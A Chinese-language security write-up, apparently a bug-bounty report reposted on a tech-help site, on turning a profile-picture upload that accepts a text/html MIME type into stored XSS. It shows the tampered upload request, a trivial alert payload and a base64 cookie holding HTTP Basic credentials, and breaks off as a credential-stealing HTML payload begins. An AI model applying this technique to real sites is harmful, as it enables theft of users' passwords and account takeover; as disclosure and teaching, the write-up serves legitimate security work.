头像上传构造存储型XSS技术分析_卜八电脑最全问题故障中心

本文中，作者在测试某Web目标站点APP的过程中，通过其中的用户头像上传功能，可以成功上传并加载HTML文件，进步利用该HTML文件可以形成存储型XSS攻击，读取用户的密码信息。我们一起来看看其利用姿势。

漏洞发现

当我注册登录了目标站点APP之后，经过对用户设置项的检查后发现，其中存在一个用户头像上传功能，如下：

于是，我就用Burp对该上传功能进行抓包分析：

请注意，这里我用到了PATCH请求操作，可见其中的ProfilePicture参数为一串base64编码的图像化字串，另外，之前的ProfilePictureMIME参数为image/png，此处是我测试修改后的截图。

该请求是一个图片数据的上传操作，会对上传图像执行一个base64编码，然后通过JSON形式的结构上传到相应的API接口中去。我尝试着把ProfilePictureMIME参数值更改为text/x-php和application/php后，上传都被无效处理，但把其更改为text/html后竟然被允许了，接着，我就随手写了个包含alert动作的html文件进行上传：

<!DOCTYPE html>

<html>

<body>

</body>

alert(1);

</script>

</html>

之后，把该html文件经base64编码，替换掉原先的ProfilePicture参数值，然后更改ProfilePictureMIME参数值为text/html，提交上传。接下来，我在浏览器中访问我的头像文件，哦，可以成功加载上传后的html文件！但遗憾的是，测试过程中在这里我未作截图。

由于服务器对这种用户头像图片无需任何访问权限限定，且Web目标站点存储用户头像图片的链接与主站域名相同，如下：

用户头像图片链接：https://something.redacted.com/res/img/usermeta//551/USER_7025dffcf32e4097bebe7b530f9f1a5d.png?ts=1584857339

Web目标站点域名：https://something.redacted.com/

Web目标站点登录链接：https://something.redacted.com/login/

也就是说，即使在我当前的登录账户之内，也可以访问到上述链接的其他用户头像图片。由此我想到了一个攻击场景，即在登录账户之后，看看能否有可利用的Cookie信息，恰巧在其Cookie中发现了一个名为AUTHH的经base64编码的参数，后经比对发现，其与Authorization Header首部中的Cookie信息一致。由于该Web应用采用了HTTP Basic Authentication认证，虽然其中的密码是base64编码，但经简单的转码后，就是可见的了。

Cookie: AUTHH=QmFzaWMgWm1GclpUcG1ZV3RsY0dGemN3PT0=

所以，我就构造出以下包含读取用户密码信息的HTML文件进行上传：

<html>

<head>